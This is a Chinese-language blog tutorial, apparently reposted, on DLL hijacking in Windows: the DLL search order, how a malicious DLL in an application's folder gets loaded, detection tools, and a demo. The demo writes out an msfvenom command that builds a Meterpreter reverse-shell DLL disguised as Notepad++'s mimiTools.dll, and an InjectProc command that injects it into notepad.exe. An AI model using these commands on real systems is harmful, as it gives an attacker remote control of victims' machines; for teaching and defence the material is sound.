DLL劫持注入浅析

admin 2024年4月17日20:06:09评论3 views字数 2501阅读8分20秒阅读模式

基本介绍

DLL(Dynamic Link Library,动态链接库)文件是一种包含可重用代码、数据和资源的可执行文件格式,在Windows下许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库(DLL文件)放置于系统中,当我们执行某一个程序时,相应的DLL文件就会被调用,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件

文件加载

Windows操作系统中应用程序需要加载动态链接库(DLL)时会按照一定的顺序搜索DLL文件的目录,下面是Windows中查找DLL的目录以及对应的顺序:

  • 程序所在目录:Windows首先在应用程序所在的目录中查找所需的DLL文件,如果DLL文件存在于该目录中则Windows会直接加载该文件,示例:假设应用程序myapp.exe位于C:myapp目录,而所需的DLL文件mylib.dll也位于同一目录中,那么在这种情况下Windows会直接加载C:myappmylib.dll

  • 系统目录(System32):如果DLL文件没有在应用程序所在目录中找到,Windows会继续搜索系统目录,系统目录通常是C:WindowsSystem32C:WinntSystem32示例:假设应用程序myapp.exe位于C:myapp目录,而所需的DLL文件mylib.dll位于C:WindowsSystem32目录中,那么在这种情况下Windows会加载C:WindowsSystem32mylib.dll

  • Windows目录(Windows):如果DLL文件没有在系统目录中找到,Windows会继续搜索Windows目录,Windows目录通常C:WindowsC:Winnt示例:假设应用程序myapp.exe位于C:myapp目录,而所需的DLL文件mylib.dll位于C:Windows目录中,那么在这种情况下Windows会加载C:Windowsmylib.dll

  • 当前工作目录:如果DLL文件没有在上述目录中找到,那么Windows会搜索当前工作目录,当前工作目录是指应用程序启动时所在的目录,示例:假设应用程序myapp.exe位于C:myapp目录,而所需的DLL文件mylib.dll位于C:myapplibs目录中,在这种情况下如果应用程序在C:myapp目录中启动,Windows会加载C:myapplibsmylib.dll

  • 环境变量PATH中指定的目录:如果DLL文件没有在上述位置找到,Windows会搜索系统环境变量PATH中指定的目录,示例:假设应用程序myapp.exe位于C:myapp目录,而所需的DLL文件mylib.dll位于D:libs目录中,如果将D:libs添加到系统环境变量PATH中,那么无论应用程序在哪个目录中启动,Windows都会加载D:libsmylib.dll

劫持原理

DLL劫持是指病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的过程,如下图中的al1ex.dll是应用程序运行所需加载的DLL,该系统文件默认存放在Windows系统中的C:Windowssystem32路径下,但由于Windows优先搜索当前路径,所以当我们把恶意al1ex.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

DLL劫持注入浅析

劫持检查

我们可以使用以下方法进行劫持检查:

InjectProc

InjectProc-进程注入技术,下载地址:

https://github.com/secrary/InjectProc/releases 

DLL劫持注入浅析

软件使用:

DLL劫持注入浅析

Process Explorer

在Windows系统中通过任务管理器可以管理查看电脑系统所使用的情况,包括各项进程及CPU的使用情况,还可以查看内存、网卡等使用情况,但系统自带的任务管理器功能相对不够强大,而Process Explorer则可以代替系统自带的任务管理器,它能够方便地为你管理各项程序进程

软件下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

DLL劫持注入浅析

运行软件之后可以看到应用程序Notepad++会加载DLL文件——mimiTools.dll

DLL劫持注入浅析

此dll文件在KnownDLLs中无法找到,所以我们可以在Notepad++.exe程序启动时可以从应用程序自身所在的目录下调用mimiTools.dll文件,我们可以通过替换改文件实现DLL劫持的目的

DLL劫持注入浅析

DLL Hijack Auditor

Dll Hijack Auditor是一款智能DLL劫持检测工具,它避免木马病毒通过劫持dll动态库文件的方式来实现自身的加载运行,可以有效的避免木马病毒劫持动态库文件

软件下载地址:
http://securityxploded.com/getsoftware_direct.php?id=7777

DLL劫持注入浅析

劫持验证

  1. 启动应用程序

  2. 使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库

  3. 从该应用程序已加载的DLL列表中,查找在KnowsDLLs注册表项不存在的DLL

  4. 随后构造恶意DLL文件并劫持的DLL放到该应用程序目录下,重新启动该应用程序,检查是否劫持成功

注入演示

首先使用msfvenom生成dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=4444 -f dll >mimiTools.dll

DLL劫持注入浅析

随后打开msf并开启监听

DLL劫持注入浅析

随后将生成的dll文件丢到目标主机中并打开notepad程序输入一下命令

InjectProc.exe dll_inj mimiTools.dll notepad.exe

DLL劫持注入浅析

随后在msf终端收到反弹的shell:

DLL劫持注入浅析

文末小结

本篇文章我们主要介绍了DLL劫持的基本原理以及DLL劫持的检测方式,最后我们介绍了DLL注入的方法~

原文始发于微信公众号(七芒星实验室):DLL劫持注入浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月17日20:06:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DLL劫持注入浅析http://cn-sec.com/archives/2667493.html

发表评论

匿名网友 填写信息